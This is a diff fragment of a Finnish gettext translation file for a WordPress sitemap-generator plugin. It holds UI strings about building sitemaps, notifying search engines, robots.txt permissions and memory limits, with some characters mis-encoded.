+msgstr "avaa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:482
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:499
+msgid "close"
+msgstr "sulje"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:483
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:500
+msgid "click-down and drag to move this box"
+msgstr "liikuta tÃ€tÃ€ laatikkoa vetÃ€mÃ€llÃ€ ja pudottamalla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:484
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:501
+msgid "click to %toggle% this box"
+msgstr "klikkaa %toggle% laatikko"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:485
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:502
+msgid "use the arrow keys to move this box"
+msgstr "kÃ€ytÃ€ nuolinÃ€ppÃ€imiÃ€ liikkumiseen"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:486
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:503
+msgid ", or press the enter key to %toggle% it"
+msgstr "tai paina enter-nÃ€ppÃ€intÃ€ vaihtaaksesi (%toggle%)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:521
+msgid "About this Plugin:"
+msgstr "Tietoja lisÃ€osasta:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:522
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:138
+msgid "Plugin Homepage"
+msgstr "LisÃ€osan kotisivu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:523
+msgid "Suggest a Feature"
+msgstr "Ehdota ominaisuutta"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:524
+msgid "Notify List"
+msgstr "Tiedotuslista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:525
+msgid "Support Forum"
+msgstr "Tukifoorumit"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:526
+msgid "Report a Bug"
+msgstr "Raportoi virhe"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:528
+msgid "Donate with PayPal"
+msgstr "Lahjoita PayPalilla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:529
+msgid "My Amazon Wish List"
+msgstr "Amazonin toivelista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "translator_name"
+msgstr "translator_name"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "translator_url"
+msgstr "translator_url"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "Sitemap Resources:"
+msgstr "Sivustokarttaresurssit:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:534
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Webmaster Tools"
+msgstr "YllÃ€pitÃ€jÃ€n tyÃ¶kalut"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Webmaster Blog"
+msgstr "YllÃ€pitÃ€jÃ€n blogi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Site Explorer"
+msgstr "Sivustoselain"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Search Blog"
+msgstr "Hakukoneblogi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "Webmaster Center Blog"
+msgstr "YllÃ€pitÃ€jÃ€keskuksen blogi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:543
+msgid "Sitemaps Protocol"
+msgstr "Sivustokartta-protokolla"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:544
+msgid "Official Sitemaps FAQ"
+msgstr "Virallinen sivustokartta-FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "My Sitemaps FAQ"
+msgstr "Sivustokartta-FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:548
+msgid "Recent Donations:"
+msgstr "ÃskettÃ€in lahjoittaneet:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "List of the donors"
+msgstr "Lahjoittajalista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:554
+msgid "Hide this list"
+msgstr "Piilota tÃ€mÃ€ lista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "Thanks for your support!"
+msgstr "Kiitos tuestasi!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:575
+msgid "Status"
+msgstr "Tila"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:583
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Sivustokarttaa ei ole luotu. <a href=\"%s\">Luo sivustokartta</a> ensimmÃ€isen kerran."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:589
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "<a href=\"%url%\">Sivustokartta</a> on pÃ€ivitetty edellisen kerran <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:591
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Virhe sivustokarttatiedoston kirjoittamisessa. Varmista, ettÃ€ tiedosto on olemassa ja kirjoittaminen on sallittu. <a href=\"%url%\">Lue lisÃ€Ã€</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:598
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Sivustokartta (<a href=\"%url%\">pakattu</a>) on pÃ€ivitetty edellisen kerran <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:600
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Virhe pakatun sivustokartan luomisessa. Varmista, ettÃ€ tiedosto on olemassa ja kirjoitettavissa. <a href=\"%url%\">Lue lisÃ€Ã€</a"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:606
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Googlea <b>tiedotettiin onnistuneesti</b> pÃ€ivityksistÃ€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:609
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Kesti %time% sekuntia huomauttaa Googlea pÃ€ivityksistÃ€. Saatat haluta poistaa kÃ€ytÃ¶stÃ€ tÃ€mÃ€n ominaisuuden nopeuttaaksesi sivustokartan luomista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Virhe Googlen huomauttamisessa. <a href=\"%s\">Katso tulokset</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoota <b>tiedotettiin onnistuneesti</b> pÃ€ivityksistÃ€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Kesti %time% sekuntia huomauttaa Yahoota pÃ€ivityksistÃ€. Saatat haluta poistaa kÃ€ytÃ¶stÃ€ tÃ€mÃ€n ominaisuuden nopeuttaaksesi sivustokartan luomista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Virhe Yahoon huomauttamisessa. <a href=\"%s\">Katso tulokset</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3097
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "MSN:Ã€Ã€ <b>tiedotettiin onnistuneesti</b> pÃ€ivityksistÃ€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3100
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Kesti %time% sekuntia huomauttaa MSN.comia pÃ€ivityksistÃ€. Saatat haluta poistaa kÃ€ytÃ¶stÃ€ tÃ€mÃ€n ominaisuuden nopeuttaaksesi sivustokartan luomista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3103
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "Virhe MSN.comin huomauttamisessa. <a href=\"%s\">Katso tulokset</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.comia <b>tiedotettiin onnistuneesti</b> pÃ€ivityksistÃ€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Kesti %time% sekuntia huomauttaa Ask.comia pÃ€ivityksistÃ€. Saatat haluta poistaa kÃ€ytÃ¶stÃ€ tÃ€mÃ€n ominaisuuden nopeuttaaksesi sivustokartan luomista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Virhe Ask.comin huomauttamisessa. <a href=\"%s\">Katso tulokset</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:656
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Luominen kesti noin <b>%time% sekuntia</b> ja kÃ€ytti %memory% MB muistia."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:658
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Luominen kesti noin <b>%time% sekuntia</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:662
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Sivustokartan sisÃ€ltÃ¶ <strong>ei vaihtunut</strong> edellisestÃ€ pÃ€ivityksestÃ€, joten tiedostoja ei kirjoitettu ja hakukoneita ei huomautettu pÃ€ivityksistÃ€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "Luomisprosessi saattaa olla yhÃ€ aktiivinen! Lataa sivu uudelleen muutaman sekunnin kuluttua."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:673
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Edellinen pÃ€ivitys ei valmistunut! Muisti- tai aikarajoitusten kasvattaminen saattaa auttaa. <a href=\"%url%\">Lue lisÃ€Ã€</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:675
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Edellinen tunnettu muistin kÃ€yttÃ¶ oli %memused%MB, palvelimen rajoitus on %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:679
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Edellinen tunnettu ajoaika oli %timeused% sekuntia, palvelimen rajoitus on %timelimit% sekuntia."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:683
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Ohjelma lopetti merkinnÃ€ssÃ€ numero %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:686
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Jos jotain on muuttunut palvelimella tai blogissa, saatat haluta <a href=\"%s\">luoda sivustokartan uudelleen</a> manuaalisesti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:688
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Jos sivustokartan luomisprosessissa oli ongelmia, voit kÃ€yttÃ€Ã€ <a href=\"%d\">virheenetsintÃ€tilaa</a> lisÃ€tietojen saamiseksi."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "Basic Options"
+msgstr "Perusasetukset"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:697
+msgid "Sitemap files:"
+msgstr "Sivustokarttatiedostot:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:697
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:782
+msgid "Learn more"
+msgstr "Lue lisÃ€Ã€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:702
+msgid "Write a normal XML file (your filename)"
+msgstr "Luo normaali XML-tiedosto (tiedostonimi)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:708
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Luo pakattu (gzip) tiedosto (tiedostonimi + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+msgid "Building mode:"
+msgstr "Luomisasetukset:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:717
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Luo sivustokartta uudelleen, jos blogin sisÃ€ltÃ¶Ã€ on muutettu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Salli manuaalinen sivustokartan luominen GET-pyynnÃ¶llÃ€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:728
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "TÃ€mÃ€ sallii sivustokartan pÃ€ivittÃ€misen, jos tyÃ¶kalu kirjoittaa WordPressin tietokantaan kÃ€yttÃ€mÃ€ttÃ€ WordPressin API:a. KÃ€ytÃ€ seuraavaa osoitetta pÃ€ivittÃ€miseen: <a href=\"%1\">%1</a> . Tarkista lokitiedostosta, pÃ€ivitettiinkÃ¶ sivustokartta onnistuneesti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+msgid "Update notification:"
+msgstr "PÃ€ivityshuomautukset:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Notify Google about updates of your Blog"
+msgstr "Ilmoita Googlelle pÃ€ivityksistÃ€ blogissa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:737
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "RekisterÃ¶intiÃ€ ei vaadita, mutta <a href=\"%s\">Googlen verkkoyllÃ€pitÃ€jÃ€n tyÃ¶kalut</a> kertovat tietoja sivuston indeksoinnista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3209
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:741
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "Ilmoita MSN Live Searchille pÃ€ivityksistÃ€ blogissa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3210
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:742
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "RekisterÃ¶intiÃ€ ei vaadita, mutta <a href=\"%s\">MSN Liven verkkoyllÃ€pitÃ€jÃ€n tyÃ¶kalut</a> kertovat tietoja sivuston indeksoinnista."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:746
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ilmoita Ask.comille pÃ€ivityksistÃ€ blogissa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+msgid "No registration required."
+msgstr "RekisterÃ¶intiÃ€ ei vaadita"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:751
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Ilmoita Yahoolle pÃ€ivityksistÃ€ blogissa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:752
+msgid "Your Application ID:"
+msgstr "ID:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "Ei avainta? <a href=\"%s1\">Hae omasi tÃ€Ã€ltÃ€</a>! %s2"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:760
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "Muokkaa tai luo tiedosto %s blogin juurihakemistoon"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "File permissions: "
+msgstr "Tiedoston oikeudet:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:768
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt:hen on kirjoitusoikeudet."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Error, robots.txt is not writable."
+msgstr "Virhe: robots.txt-tiedostoon ei voi kirjoittaa."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "Ok, robots.txt:tÃ€ ei ole ja kansioon voi kirjoittaa."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:776
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Virhe: robots.txt:tÃ€ ei ole ja kansioon ei voi kirjoittaa"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:782
+msgid "Advanced options:"
+msgstr "LisÃ€asetukset:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:785
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Rajoita sivustokartan merkintÃ¶jen lukumÃ€Ã€rÃ€Ã€:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:785
+msgid "Newer posts will be included first"
+msgstr "Uusimmat merkinnÃ€t listataan ensimmÃ€isinÃ€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:788
+msgid "Try to increase the memory limit to:"
+msgstr "YritÃ€ lisÃ€tÃ€ muistirajoitusta:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:788
+msgid "e.g. \"4M\", \"16M\""
+msgstr "esim. \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Try to increase the execution time limit to:"
